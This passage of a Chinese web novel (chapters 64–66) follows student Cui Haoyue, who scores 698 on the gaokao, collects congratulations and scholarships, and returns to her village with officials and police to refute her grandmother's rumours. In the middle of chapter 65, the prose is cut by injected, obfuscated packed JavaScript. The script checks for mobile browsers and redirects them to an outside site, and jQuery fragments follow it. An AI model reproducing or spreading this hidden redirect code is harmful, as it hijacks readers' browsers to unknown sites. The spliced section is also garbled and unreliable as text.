“骗我又没好处！”徐凌波噘嘴，“一中是多好的学校啊，皓月考698分很正常的好不好！人家大老板同情她家境凄惨，看她成绩好，才好心资助她上大学的。不信你去问她奶，大老板真的是女的！” 她把崔皓月在校运会上拿到冠军的照片发给妈妈：“你看，这是皓月，她参加跑步也是第一名！” 照片上，崔皓月笑容羞涩，身上一股自信气息，看起来骄傲而优秀。 相由心生，徐凌波的妈妈开始相信女儿的话：“她没她奶奶说的那样差啊，可她奶奶怎么会造谣自家孩子？” “她不听话呗。”徐凌波理所当然地说，“你又不是不知道，皓月她爸妈给她弟买五百块的名牌球鞋，她穿二十块的便宜鞋，不穿到坏不给换……” 网上还能找到采访文章和视频，徐凌波把视频发到“相亲相爱一家人”群聊，公开了崔皓月的高考成绩，又把好消息发到所有群聊，无论是同学群还是亲戚群。 她要让所有人知道，她的小伙伴崔皓月有多优秀！ 为了加快消息传播速度，徐凌波制作了图片。 她把崔皓月的高考成绩加大加粗写上去，添上“名牌大学随便挑”一行字，再写崔皓月改名前叫什么，为什么改名。 于是，消息一传十，十传百。 崔皓月的亲戚知道这件事，打电话恭喜崔皓月的奶奶。 “你孙女了不起！高考698分！你们老徐家真是祖坟冒青烟了！不过，好好的孩子咋就改名改姓，祖宗都不认？男孩是能传宗接代，女孩也也不能亏待啊！” 奶奶既高兴又膈应。 高兴的是孙女高考成绩优秀，膈应的是亲戚哪壶不开提哪壶，好话不说，非得讲她不爱听的。 “亏待她的又不是我，是她妈妈。”奶奶说，“婷婷这名是她妈起的，我当奶奶的能咋办？她改名是我让改的，我还给她零花钱，没亏待过她。” “你疼她，她咋不打电话告诉你成绩？”亲戚的话带着一点幸灾乐祸的意味，“你不会还盘算着卖孩子换彩礼吧？啧，难怪孩子不亲你，她是害怕你逼她辍学嫁人呢！” “瞎说什么？逼她嫁人的又不是我！”奶奶的脸色分外难看，“她亲爸亲妈不疼她，是我把她养大的！” …… 女报梁记者：“崔同学，中午好，你高考成绩出来了吗？考得怎样？” 酒楼余经理：“小崔啊，吃午饭了吗？我听到客人说今天出高考成绩，你查了吗？” 学妹谭山梅：“学姐！学姐！我在学校里看到你的高考分数了！天姥啊！你考了698！陆学姐701分！你们一个全市第一，一个全市第二名！超厉害！” 同学卫天泽：“我刚查了分数，673！你呢？” 社交软件上全是问自己成绩的人，班级群、舍友群、维权群里也有很多人@自己问成绩，崔皓月先回复朋友们，再回复群友，与她们分享自己的喜悦。 有人加她，备注是表妹，崔皓月心情好，通过申请。 表妹立刻发来消息：“表姐，你考了多少分？我听别人说，你考得特别好。” 崔皓月：“698分，成绩我很满意。” 表妹大吃一惊：“这么高？不愧是一中的学生！对了，表姐，你跟舅舅和舅妈说了成绩吗？他们很关心你。” 崔皓月：“你要劝我跟他们和好？如果是，我会删了你。” 表妹顿时不说话了。 这时，梁记者发来消息：“崔同学，我能采访你吗？你不仅是留守女童，更是差点被逼辍学嫁人，高考却考得这么好，表现这么优秀，我想为你做一个专题报道，呼吁大众关注留守女童教育。” 64.回家 跟着消息一起发来的，是一个红包，梁记者说：“祝贺我们优秀的崔同学在高考中取得698分好成绩！放心领，不用跟我客气，就当接受一下上大学的小小资助。” 崔皓月不好意思，可梁记者盛情难却，她便领了红包，里面放着两百元。 红包拿了，采访是要接受的，崔皓月问道：“你什么时候来采访？” 梁记者说道：“如果可以，我想去你的老家，了解你作为留守儿童的日常生活。你是全市第二名，市政府和乡镇政府应该都愿意派人到你家看看，他们会给你发放奖学金，你的学校也会给你发……” 所以，带一大群人浩浩荡荡地回老家吗？ 想到造谣自己傍上有钱人的奶奶，崔皓月觉得这主意不错。 她不愿意背负污名，也不愿意跟恶毒奶奶和好如初，她希望所有人知道她奶奶是一个怎样的人。 紧接着，班主任陈若龙发来好消息：“皓月，你考了全市第二，学校决定给你三万元奖学金！市政府给你的奖学金大约是五千元，乡镇政府我还不清楚会不会给你钱，不过你这么优秀，乡镇政府肯定要表示一下。” 崔皓月将梁记者采访自己的事告诉她：“老师，我想回老家澄清谣言。” 这次陈若龙没有阻止：“好，我陪你回老家，我说服学校派个领导一起到你家看看，政府方面我努力让他们派个人。晨曦她妈妈跟你是商业合作伙伴，很有必要陪你回家一趟，我请她带几个保镖一起去，不怕你老家人使坏。” 与此同时，酒楼余经理发了红包：“恭喜你啊小崔，你读书这么好，我为你高兴！” 又领到红包。 崔皓月不太明白，别人的钱也是钱，她成绩好，恭喜一句就够了，怎么还给她红包呢？ 余经理是她在酒楼做寒假工时的上司，工作结束后她们之间几乎没有交流，余经理也不像梁记者那样有所求，属实没必要给她发红包。 暑假工结束那天也一样，余经理也给她发了升学红包，里面放着两百元。 当时她没有问，现在想想，升学红包可能是余经理自己掏的钱。 她不擅长拒绝好意，委婉地说：“经理，我以后不一定还去酒楼工作，我也不是你的亲戚，你太关心我了。” “对啊，你不在酒楼工作了，别叫我经理。我比你年长十岁，你知道我的全名吧？我叫余丰登，你叫我余姐吧。我也别叫你小崔，叫你皓月，可以吗？” “嗯，余姐你好。”崔皓月由衷地赞道，“你真厉害，那么年轻就当上了经理。” 余丰登发了个大大的笑脸：“小妹妹说话动听，姐姐喜欢。我发的红包你怎么还不领？觉得小吗？” “当然不，我只是疑惑。”崔皓月讲实话，“赚钱很辛苦，很难，我和余姐也不常来往，为什么你还发红包给我？” 对余丰登来说，谈钱有点尴尬。 小朋友不愿意装糊涂，她只得回答：“因为你考得很好，我问过人，698分在省里也是名列前茅的。你得多聪明啊，才能考出这么优秀的成绩！” 崔皓月：“我很努力，我的好朋友教我，我们一起学，她们也考得很好。” 余丰登：“你们都是好孩子。我看得到你的优秀，欣赏你，所以给你发个小红包，希望你以后更优秀。” 崔皓月懂了，梁记者发红包给她，想法可能和余丰登差不多。 她说：“谢谢你欣赏我。” 余丰登发了个快乐小狗表情包：“[撒花]皓月前途无量，以后发达了，可别忘了提携一下余姐[笑]。” “我会的。”崔皓月在心里记下好意，领取红包。 很巧，也是两百元。 仿佛事先说好了一样，陈若龙同样发了红包：“皓月，忘了恭喜你，给你发点零花钱！” 不同于余经理，陈若龙是真正的长辈。 崔皓月没有跟陈若龙客气：“谢谢老师奖励！” 陈若龙说：“给你和晨曦当老师是福气，你们考得太好，学校高兴，决定给我们发一笔奖金。领老师的红包不要有负担，你值得。” 崔皓月好奇：“你是班主任，你的奖金最多吗？” 陈若龙得意极了：“当然！下一届我还要当班主任！” 教出两位省内排名前三十的学生，她不仅拿到最多的奖金，在学校的地位也水涨船高，领导对她都客气起来。 班级群里，数学、英语、物理等科目的老师也给她发专属红包，五块十块二十块，祝她前程似锦。 围观的同学很羡慕，老师们大手一挥，按群人数发随机红包，崔皓月又领了十多块。 钱来得太轻松，崔皓月不由得想起为钱困扰的过去。 她要决裂，奶奶给她一元五元，让她买雪糕吃，以为这样能哄好她。 她来月经，奶奶每月给她十块钱，让她买卫生巾，可货架上的卫生巾那么贵。 她身体发育，走遍所有店铺都找不到十块钱两三件的内衣，也找不到十块钱四五件的内裤，只能买五元一件的，换了马上洗。如果天气潮湿，衣服一天晾不干，要么不换，要么忍着难受穿湿的…… 崔皓月的眼睛变得酸涩湿润。 别人对她尚且如此大方，为什么奶奶对她却那么吝啬？ 奶奶把钱攥得那样紧，生怕她花了不该花的钱，变成铺张浪费、爱慕虚荣的人，是本质吝啬，还是控制欲太强烈？ 亦或没有经济收入，手里的钱很珍贵？ 也有一种可能，奶奶经历过一分钱能买一大块糖的时代，不习惯现在的物价。 正如她，即便【金钱】多达六位数，仍会觉得六块钱一杯的奶茶非常贵。 但徐凌波的奶奶，也没有收入，也经历过那个钱特别值钱的年代。 徐凌波从来没抱怨过她奶奶吝啬，村里有小卖部，徐凌波的奶奶会给她零花钱买零食。 擦去溢出眼角的泪水，崔皓月告诉自己：不要追忆过去的苦难，要朝前看，要相信未来的每一天都比现在好。 不管奶奶是出于怎样的原因，奶奶对她吝啬，让她生活拮据，让她过得窘迫而痛苦，皆是毋庸置疑的事实。她不可能背叛过去那个伤痕累累的自己，与奶奶和好。 而且，奶奶难道不知道她读书需要花钱吗？ 奶奶都知道。 奶奶不想让她过得舒服。 奶奶恨她。 把“奶奶恨我”刻在心里，崔皓月再次想起网上那个意识到妈妈不爱她，她却无法停止爱妈妈的女儿，她那么痛苦，她作出改变了吗？ 崔皓月向无所不能的光脑了解情况。 光脑给她一个粉丝很少的个人生活账号，她点进去。 博主：“今天的阳光非常好，出门一会儿就被晒得受不了，南方的夏天来得真早。” 博主：“打卡广城小蛮腰，找到绝好拍照位置，小蛮腰超美的！” 博主：“姜撞奶，好吃！” 博主：“准备在广城租房找工作，大家有建议吗？” 照片里是灿烂的阳光、蔚蓝的天、洁白的云、红艳艳的三角梅，博主对镜头比剪刀手。崔皓月把内容往前翻，博主在二月提到妈妈打电话给她，她没接。 因为她怕她接了电话会哭，她不想哭，不想难过。 她受 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“不，你买得起，别谦虚。”光脑是崔皓月的助手，为她拉出【商店】的商品，“这些卫星只要500积分就能买到！你拥有的积分可以给我买四个这样的卫星！” 高科技月经用品的生产技术并不贵，崔皓月花了100积分就买到了，贵的是制造营养补充剂的知识和科技。 积分要花出去才有价值，崔皓月问光脑：“发射卫星之后，你会有哪些变化？” 光脑讪讪：“不必借助别的卫星，我也能观测全球。” 崔皓月沉思：“买到卫星我怎么发射？”开始阅读人造卫星使用说明。 光脑为她概括：“傻瓜式操作，卫星发射很简单。” 崔皓月快速浏览内容，下了决定：“那就给你发射两颗卫星吧。” 得了好处，光脑提出更多要求：“皓月，我想要一具液体金属载体，最便宜的载体只要1000积分，给我买一个好不好？” 所谓的载体，其实是仿生机器人身体，液体金属是地球尚未掌握的科技，能够随意变化外形。 崔皓月才花掉一千积分，不想再花，拒绝了光脑的要求：“下次吧，现在不行。” 光脑：“好，等下次。” 光脑：“告诉你一个好消息，在大家的要求下，《偷拍法》正在拟定中，即将出台。不过，在我们行动后，他们才向我们展示合作的诚意，有点迟了。” 【叮！你采取更好的方法解决特殊事件，你获得1000积分奖励】 系统发出提示，宣告了偷拍事件的圆满结束。 花掉的积分又回来了，崔皓月浏览【商店】的商品，看到治疗痛经的科技，突然产生一个想法：“我能通过系统把科技放到别人的大脑里吗？” 光脑：“或许可以？你反馈一下。” 崔皓月当即写信向系统反馈，系统迅速回复：“功能正在加载，请耐心等候。” 简言之，可以往别人的大脑里塞知识！崔皓月马上让光脑寻找合适人选，下单购买痛经相关科技，等着赠送有缘人。 …… 6月25日，崔皓月回老家。 跟她一起回去的，还有徐凌波、陆晨曦、陆鸿、陆昀、晏北回、陈若龙和校领导、记者梁女士和摄影师张女士、代表市政府的周女士、警察女士等人。 回到镇上后，镇政府的人加进来，浩浩荡荡七辆车一起驶进了小山村。 徐凌波坐在陆鸿的车上，激动得满面红光，捧着手机跟妈妈直播：“我坐着宝马车！资助皓月上大学的女企业家要去我们村！妈，我必须跟你说，景星她老公在市里的房子，是这位企业家阿姨建的！” 65.战神归来，全村战栗 其实徐凌波不认识什么宝马车，在今天之前，她也没见过崔皓月的两位好朋友。不过，崔皓月跟谈粉红税火出圈的晏北回是好朋友，她便想，崔皓月的另一位好朋友肯定不差。 但，当她知道陆晨曦的高考成绩是701分，全市第一，仍被惊得许久无言。崔皓月在最好的一中读书，认识的好朋友怎么都是些神仙啊！ 她忍不住想，要是她初中读书认真点，能不能跟崔皓月一起考上一中？ 过去的已经过去了，徐凌波并没有纠结。 701分的高考成绩太震撼，以至于徐凌波见到陆晨曦家的别墅，反应都平平淡淡的。原来陆晨曦家境富裕，母亲是出钱资助崔皓月上大学的企业家，这母女俩真优秀。 出于留念的想法，徐凌波征得了陆晨曦的同意，拍下别墅全景发给妈妈：“看，这是皓月的好朋友的家，她好朋友是女的，你别误会。” 妈妈咋舌：“住这么好看的房子，家里得多有钱啊！” 晏北回见徐凌波拍照，凑上来跟她说：“陆阿姨开的是宝马，一百五十万一辆的豪车，超级好看的！” 于是，徐凌波去车库里拍了宝马车，发给没怎么见过豪车的妈妈：“这不是车子，这是能开上马路的一百五十万！” 妈妈惊讶：“这么贵！开这种车真是太有钱了！” 坐进车里后，徐凌波也拍照：“妈，我坐上豪车了！” 妈妈羡慕：“妈都没坐过呢。” 陆鸿姐妹开车与陈若龙、记者等人的车会合，徐凌波继续拍照，附上讲解：“那是一中的车，皓月的班主任在车里，她叫陈若龙，名字特别霸气！” 妈妈感慨：“难怪人家能教出两个高分学生，看名字就知道这个老师厉害！” 徐凌波：“这是记者和摄影师的车，她们要去我们村里，了解留守女童的乡村生活。她们都是为了皓月来的。” 妈妈叹气：“皓月爸妈不在家，属实有些可怜，好在她争气。” 政府周女士坐的车看起来普普通通，徐凌波说：“皓月考得特别好，政府决定去我们村给她发奖学金！” 妈妈对崔皓月彻底改观：“皓月真优秀！” 警察女士的车上有警方标记，徐凌波接着说：“皓月在学校里见义勇为，不久前又见义勇为一次，警察也要到我们村感谢她！” 妈妈好奇：“这又是怎么一回事？” 徐凌波便讲了李金元泼硫酸案的过程，妈妈又怕又解气：“幸好伤的是他自个儿，要是他伤了别人，别人不得恨死他！判三年太短了，应该判他坐一辈子牢，不能让他从牢里出来害人！” 从女儿这得了一手的消息，徐凌波的妈妈见到崔皓月的奶奶从自家门口经过，忙叫住对方：“你孙女回家了，一中的老师和领导开车送她回家的，你还不快点回家准备一下！” 奶奶一头雾水：“婷婷回来了？她怎么不跟我说？” 徐凌波的妈妈怜悯地看着这个四处造谣孙女的老太太，摇摇头：“婷婷改名了，你还叫人婷婷，难怪人家不肯打电话跟你说她回家。” 奶奶皱着眉：“叫婷婷咋了？她之前不叫婷婷？叫了她十几年婷婷，改名了她就不是婷婷了？” 听出奶奶不肯改口，徐凌波的妈妈不禁同情崔皓月，说：“婷婷是什么意思你不知道？你孙女为什么要改名你也不知道？你看不起女孩也不能给孩子起那样的名字啊！女孩要脸的，你给孩子起个‘停止生女儿’的婷，你让孩子怎么跟别人介绍自己的名字？” “那是她妈给她起的名，关我什么事！”奶奶抱怨，“婷婷起的新名字，叫什么月，姓都改掉了，祖宗也不认了，她回家了我非得好好说说她！” 老太太固执，徐凌波的妈妈不想跟她交谈，找自己的婆婆：“凌波也回家，咱们准备点吃的喝的，捉个鸡杀了，去菜地摘点新鲜的菜回来，中午吃好点。” 婆婆也见了照片的大别墅和豪车，乐呵呵地去捉鸡了。 有钱人，谁不想攀上点关系？ 就算攀不上关系，留个好印象也不错。 崔皓月是徐凌波的小伙伴，崔皓月的有钱好朋友，不就相当于徐凌波的有钱朋友？ 有道是，多个朋友多条路。 她们家凌波读书一般，家里给不了多少支持，以后指不定有什么事需要人家帮忙呢，提前打好关系，开口求人也不难。 担心崔皓月的奶奶接待不了那么多来客，徐凌波的妈妈拿出一次性杯子，又拿出茶叶泡茶，再把家打扫干净，门前门口的杂物收拾妥当，翘首等待徐凌波等人回来。 却说崔皓月的奶奶，从别人口中知道孙女回家，她恼火孙女不打电话给自己，回家翻电话簿找孙女的老师。 电话打通，接电话的老师却说：“徐婷婷？她升了高三就换班主任了。” 说完老师便挂断电话。 奶奶再打，电话怎么打也打不通。 另一边，这位老师给陈若龙发微信：“崔皓月她家长打电话找我，我拉黑她了。崔皓月升年级那么久了，她还不知道班主任换人，真是个离谱家长。” 考到全省全三十名的好苗子，在自己手上表现平庸，甚至成绩下滑，做了别人的学生反而展露锋芒，成绩突飞猛进。 这位老师想到崔皓月就怀疑人生，难道自己不适合当老师？ 陈若龙回复：“麻烦你了，皓月是个可怜孩子，家庭状况很复杂。” 奶奶没有陈若龙的联系方式，翻着电话簿，找到崔皓月的高一班主任。对方倒是没有挂断她电话，但对方把她训了一顿： “你是徐同学的家长？徐同学的入学成绩很好，市里排名前一百！你这做家长的伙食费不舍得多给点，生活费也不给，弄得徐同学吃不好过不好，成绩越来越差。你是怎么当家长的？咋这么对孩子？……” 没人乐意听训，奶奶一把年纪，更不乐意听。 奈何对方是老师，是文化人，奶奶忍着不耐听完，问道：“婷婷今天回家——” 老师打断她：“我只是徐同学的高一班主任，不是她现在的班主任，我不清楚徐同学的近况。你是徐同学的奶奶，怎么没有徐同学的联系方式？孩子住在学校，得有个手机，不然怎么联络？” 听着老师又要开始啰嗦，奶奶怕了，忙说：“我要喂鸡，老师，拜拜！” 老师联系不上，无从联络崔皓月，奶奶只好打电话给她爸爸，语气生硬，很不高兴：“你女儿回家了！学校的老师和领导送她回来！你女儿是不是惹大事了？” 不然，无缘无故的，老师领导干嘛送崔皓月回家？ 高考698分是个什么概念，奶奶不清楚。 但是过年都不想回家的崔皓月现在突然回家，肯定没好事。 奶奶打电话兴师问罪，崔皓月的爸爸完全不知道发生了什么事情，崔皓月让他想到了自己、妻子和儿子今年年初经历的网暴，他顿时打了个寒颤。 崔皓月是有人护着的人，他惹不起。 他对老娘说：“你七老八十了，又有三高，没人敢对你怎么样。徐婷婷要回来就回呗，你顺着她，对她好点。” 儿子帮不上忙，奶奶打电话给自己女儿：“婷婷回来了，老师和领导陪她回来的。丽君在市里读高中，丽君知道婷婷惹了什么事吗？” 丽君是崔皓月的表妹，丽君妈妈是崔皓月的姑姑。 姑姑打电话问丽君，丽君也不懂：“表姐考得那么好，老师和学校领导不会对她不好吧？我问一下表姐吧。” 丽君点开崔皓月的聊天框，看到崔皓月上次回复她的“如果是，我会删了你”，心里对这位改名改姓不回家的表姐亦有些不满。 自己没惹她，她干嘛朝自己发脾气啊？ 丽君连问候都懒得问了，直截了当地问：“你回到家了吗？外婆担心你惹事，她找不到你，找了我妈，我妈又找我，要我问你回家有什么事！” 崔皓月打开手机，看到丽君的质问，没有回复的念头。 回家有什么事，她到了家，奶奶自然会知道。 “谁找你？”陆晨曦注意到崔皓月的神情，握住她的手，“不管你有什么决定，我们都会支持你。” “有事？”玩手机的晏北回一脸茫然地抬起头。 坐在副驾驶座的徐凌波也回过头，看向后座的崔皓月三人。 “表妹找我。”崔皓月给她们看表妹的消息，“年初开学那会，我爸带着一大群人来学校找我，无论是奶奶，还是姑姑，没有一个人通知我。他们应该知道我爸逼我辍学嫁人，可是，他们没有阻止，也没有告诉我。” 奶奶恨她，姑姑不可信。 表妹丽君大概不知情，她不怨表妹。 她也不会亲近表妹。 陆晨曦搂住崔皓月的肩膀，说：“皓月，他们不识相，你不必为他们难过。” 崔皓月沉默不语。 陆晨曦逗她：“要开心，你今天衣锦还乡，是绝对的主角，没有什么值得你皱眉。来，看着我，跟我一起笑！” 对镜子苦练过笑容的陆晨曦，笑容极具感染力，崔皓月跟着笑起来。 晏北回放下了手机：“皓月，给我们讲讲你的童年！你和凌波有没有一起爬树捉鸟，一起下水摸鱼？” “爬树有，我家的树皓月都爬过，她爬树很厉害的，细细的枝条她也敢攀上去，当然她现在不行。”徐凌波终于有机会插话。 陆晨曦看着近一年来个子长得飞快的崔皓月，想起她去年瘦瘦小小像个小学生的样子，感觉徐凌波是真的不会说话。 “她长高了嘛。”晏北回缓和气氛，“你们捉过小鸟吗？” “没有，顶多看看小鸟的窝。”崔皓月说，“凌波家里有荔枝树，长的荔枝不太好吃，她家的黄皮也酸酸的。” “不知道我爷爷打哪里弄来的荔枝苗，长的荔枝树，荔枝总是很少很难摘到……”徐凌波今年没吃过家里的荔枝，“我家还有番石榴，很香很好吃！” 聊着天，山村渐渐近了。 徐凌波家是村里第一个盖楼房的，门前的院子铺了水泥，种在门前的荔枝树黄皮树全都伐了。陆鸿把车停在她家院子里，下车呼吸新鲜空气：“还是山里好，没污染。” “妈！奶奶！”徐凌波下了车，立刻跟迎出来的长辈打招呼，向她们介绍，“还记得吗？这是皓月，现在她长高好多了！这是皓月的朋友陆晨曦，这是她的另一个朋友晏北回，她们都好厉害的！” 为了赚钱，村民外出打工，村里人不多。由于徐凌波的宣传，村里人都知道崔皓月曾是徐婷婷，知道她高考698分，知名大学想上就能上。 他们看着车队进村，都过来看热闹。 见到衣着光鲜亮丽的崔皓月从小汽车里下来，啧啧称奇。 这就是一百五十万的宝马车？感觉好高贵！ 乡下人对城里人似乎有一种天然的畏惧，普通村民们小声说话，不敢靠近。 徐凌波的妈妈和奶奶在陆鸿面前也不太敢说话，徐妈妈干巴巴地说：“我准备了茶和白开水，你们……进我屋子里坐坐？” 陆鸿看一眼崔皓月，和颜悦色地对徐凌波妈妈说：“那就麻烦你招待我们了。”掏出一张名片递了出去，“我是陆鸿，晨曦地产的老板、资助崔皓月同学上大学的人，也是崔皓月同学的商业合作伙伴。” 传说中崔皓月傍的有钱人就是这一位，徐凌波的妈妈受宠若惊：“您好！您好！” 话都说不利索了。 村民们瞧着气场强大的陆鸿，瞧着军人气质的陆昀，以及膀大腰圆的保镖们、身穿警服的警察女士等人，不由自主地躲得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803578|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远了。 没有一个人敢说闲话，没有一个人敢凑上前多嘴。 他们忽然想起，崔皓月的奶奶只会说崔皓月傍上有钱人，从来没有说过崔皓月傍上的是男老板，更没说崔皓月给男人当情/人。 什么崔皓月做小三、崔皓月做伎、崔皓月跟不三不四的小混混乱搞……全是他们胡思乱想，胡编乱造。 梁记者没进徐凌波家歇息，她跟村民大婶搭讪：“你认识皓月吧？” 摄影机让大婶吓了一跳，连忙摆手：“别拍我，我害怕！” 摄影师笑了：“没拍你，不用怕。”扛着摄影机拍摄村里风景。 她走了，大婶放下心来，跟梁记者说：“我当然认识婷婷，她从前很乖的……” 两人聊了起来，梁记者不好奇崔皓月的过去，她好奇的是村子的现状：“你有女儿吧？女儿多大了？” 大婶是奶奶辈的人：“我女儿早就嫁人了，在大城市，孩子也在大城市，我想帮忙带孩子都得去大城市里帮忙，可是大城市我不熟啊，去了几天就回来了……” 过了一会，大婶问起摄影师：“她做摄影的，拍照是不是特别好看？能给我拍照吗？我一把年纪了还没拍过照呢。” 屋里，徐凌波的爷爷想接待贵客们，陆鸿吩咐他：“市政府、乡镇政府的领导要给皓月发奖学金，你告诉村支书了吗？去叫村支书过来吧。” 老头不敢拒绝，甚至不敢让徐凌波跑腿，忙不迭地去叫人过来。 村支书到了，崔皓月的奶奶也被好事者叫来了。 奶奶见到停得密密麻麻的车就怕，尤其是车里还有一辆警车，她在徐凌波家外瞄了瞄，见到崔皓月坐在徐凌波家里喝茶，身边都是不认识的陌生人，愣是不敢开口喊孙女。 崔皓月也见到奶奶，眼神平静。 不多时，她和陈若龙等人离开徐凌波家，回到自己家。 奶奶打扫了院子，没准备一次性杯子，茶也没有，大家站在院子前聊天。房子还是泥砖搭建的瓦房，鸡在家附近闲逛，邻居的狗站起来，看着来访的陌生人。 陈若龙跟崔皓月的奶奶说话：“听说你四处跟人讲皓月攀上有钱人？” 奶奶低着头，一声不吭。 陈若龙说：“你是皓月的亲奶奶，竟然这样说皓月！” 奶奶还是不吭声。 陈若龙叹息：“你很不慈祥，皓月不亲你，是你自作孽！皓月很优秀，高考考得那么好，能去京城最顶尖的那两座大学读书，以后她要是想，她能留在京城发展事业。她的未来一片光明。你不心疼她，反而造谣她，她不会原谅你。她会像天上的鸟，飞出这片山沟沟，再也不回来。” “她是我孙女！”奶奶说话了，脸色紧绷着，“我是她亲奶奶！她要孝顺我！” “孝顺你是你儿女的责任，跟皓月无关。”陈若龙耐心跟这个老太太解释，“你和皓月在法律上是养母女，可你对皓月那么差，养母女关系是可以解除的。” 奶奶变得失魂落魄。 不止陈若龙，所有人要么不跟她讲话，要么教育她，要求她慈祥，要求她好好对待孙女崔皓月。 在许多村民的围观下，代表市政府的周女士将五千元奖学金交给崔皓月：“崔同学，希望你继续努力，成为一位对国家有用的人才！” 崔皓月恭敬地接过奖学金：“我会努力学习，绝不辜负国家的期待！” 代表乡镇政府的也是一位女士。 乡镇还是头一次有人考到能上国内两座顶尖大学的高分，奖学金给得相当慷慨，厚厚一沓钱，多达五万块。 发完丰厚奖学金，乡镇政府的人特地拉起一条横幅，上书“祝贺我镇崔皓月同学在高考中取得698分好成绩”，请崔皓月捧着奖学金站在横幅前拍照。 这张照片会放在乡镇政府宣传栏里，给所有人看。 接着发奖学金的是一中，给的是三万元，数额也不小。 到了最后，村支书急匆匆地掏出一个大红包，笑着递给崔皓月：“你改姓了也是我们徐家村的金凤凰！你考得那么好，村里也得鼓励鼓励！拿着，这是村里给你的奖学金！” 市政府镇政府都鼓励崔皓月，他岂能落后？ 红包挺厚的，包了多少要拆了才知道。 村支书给完奖学金，试图跟市政府代表周女士、镇政府的人拉关系，一副官迷样子。 警察女士不屑关注他，在村民面前，她代表警方表彰崔皓月，告诉所有人，崔皓月见义勇为救了两个人，是一位非常好的学生。 她也没忘了告诫崔皓月，见义勇为之前，要确保自己安全。 随后，警察女士公开批评崔皓月的爸爸徐峰，批评崔皓月的奶奶。 她声色俱厉地对崔皓月的奶奶说：“未满十八岁的青少年受未成年人保护法保护，你身为她的家长，竟然逼迫她辍学嫁人，你眼里还有国家法律吗？你违法犯法会被抓去坐牢的，你知不知道？” 小老百姓哪里见识过这个场面？奶奶吓得脸都白了。 警察女士训完她，训斥村民：“不要听信谣言，造谣传谣也是触犯法律的！” 村民都很害怕。 警察女士决定给村民们上一堂普法课，让大家好好接受一下法律教育。 该做的事都做完了，崔皓月不想在家里吃饭，准备离开。 奶奶被训过，对她客客气气的，让她抓几只鸡，带点青菜回市里。 崔皓月当然不会婉拒。 家里的鸡她不吃别人总会吃，除了两个下蛋母鸡，别的鸡崔皓月都捉了带走，蛋也全部打包带走。 正宗农家走地鸡是出了名的好吃，陆鸿毫不担心宝马被弄脏，开心地计划鸡要怎么吃：“就近找个农家乐杀鸡吃午饭吧！来乡下一趟，总得玩一下，看看风景才走。” 66.强势 徐凌波家和自己家其实没有太多不同。崔皓月进了徐凌波家，看着徐凌波水都来不及喝一口，便被妈妈使唤着忙前忙后，觉得自己像是入侵别人领土的陌生来客。 她不喜欢这种感觉。 她来徐凌波家，不是为了给徐凌波添麻烦的。 都是做客，她在陆晨曦家自在多了。 因为招待她的是陆晨曦，不是陆妈妈吗？ 【叮！你触发了生活事件】 【陈秀丽要求女儿徐凌波伺候包括你在内的客人，你决定——】 【选项一：顺其自然，获得10元零花钱】 【选项二：帮助徐凌波接待客人，获得10元零花钱】 【选项三：你有更好的解决办法，获得未知数额零花钱】 触发事件，先看选项三！ 咦？ 更好的解决办法？ 崔皓月先是感到惊讶，随后心中了然。 特殊事件她能自己想办法解决，生活事件为何不能自己想办法解决？她已经成长了，不必系统予以提示，她也可以找到正确的方向。 不喜欢的事情，那就改变它。 “凌波。” 崔皓月叫住准备去搬长凳来给大家坐的小伙伴，认真地问：“你累不累？坐车坐了两小时，我累了，你肯定也累了，先歇歇。” “我妈叫我干活。”徐凌波也想歇，不好意思地说，“你们来我家，我作为主人，总不能不招待。” 陈秀丽闻言，转头看崔皓月，眼神里透露着不满的意味。 这里可不是崔皓月的家，崔皓月在这跟她女儿说啥？ 崔皓月没理她，对徐凌波说道：“邀请我们进来休息的人是你妈妈，不是你，招待我们不是你的责任。” 好像有道理，可是徐凌波总感觉哪里不对。 妈妈听到了会生气吧？ 徐凌波担忧地望向陈秀丽，还没来得及说话，崔皓月已开口，语气不委婉，意思表达得明明白白：“凌波妈妈，我希望凌波坐下来跟我们聊天。” 这是客人对主人的要求，陈秀丽会听吗？ 徐凌波有种妈妈会翻脸的不妙预感。 她料不到崔皓月会这样讲话。 两人太久不来往，崔皓月不仅长高了，还变成一个既让她熟悉，又让她感到陌生的人。 无论是一拳击倒故意使坏的混混男考生，或是态度强势地向她的妈妈提出要求，徐凌波都非常意外。 哦，两人在考场见面，崔皓月要求她道歉，哪怕追着她到厕所也不放弃。 小伙伴那么执着，如同恐怖片里穷追主角不舍的女鬼，也令她意外。 到底发生了什么事，崔皓月才会变成如今的模样？徐凌波好奇崔皓月的经历。 此时不是满足好奇的时候，她感觉崔皓月的话是维护她，她也不满妈妈使唤她干活，于是她略带得意地看着妈妈—— 妈，是你请别人来家里做客的，我跟客人一起进门，你好意思使唤我忙这忙那吗？ 有些话，别人说出来，比女儿说出来更管用。 陈秀丽愣了愣，脸色拉下来，想发火。 顾忌到客人在场，她很快扬起尴尬的笑，责怪地瞪了一眼徐凌波，说：“你这丫头怎么不提醒我？你跟皓月的朋友更熟悉，跟她们说说话，介绍一下我们家，活还是我来做吧。” 不用干活了，好事一桩。 可是，妈妈的话徐凌波不喜欢听。 什么叫不提醒？ 她从客人的车下来，妈妈见到她就使唤她，根本不给她表达的机会。 况且，她提醒了妈妈难道会听？怕不是骂她偷懒。 客人在家，徐凌波垂下眼帘，纵然不满，也默默接受妈妈安排。 妈妈不想被客人看笑话，她也不想在崔皓月、在崔皓月的两位好朋友面前丢脸。 这时，崔皓月又开口：“凌波妈妈，我们只是进来坐坐，很快便会离开。你辛辛苦苦搬来凳子，待会儿你又得费力气搬回去，不如不搬。” “是啊，搬来搬去很累的。”晏北回附和，“凌波妈妈，也跟我们聊聊天吧。” 怎么发名片的大老板光喝水不说话？ 陈秀丽悄悄地关注陆鸿，心里犯嘀咕，再次打量陆晨曦和晏北回。 她们跟她女儿一样大，衣着打扮甚至没有她女儿精致讲究。 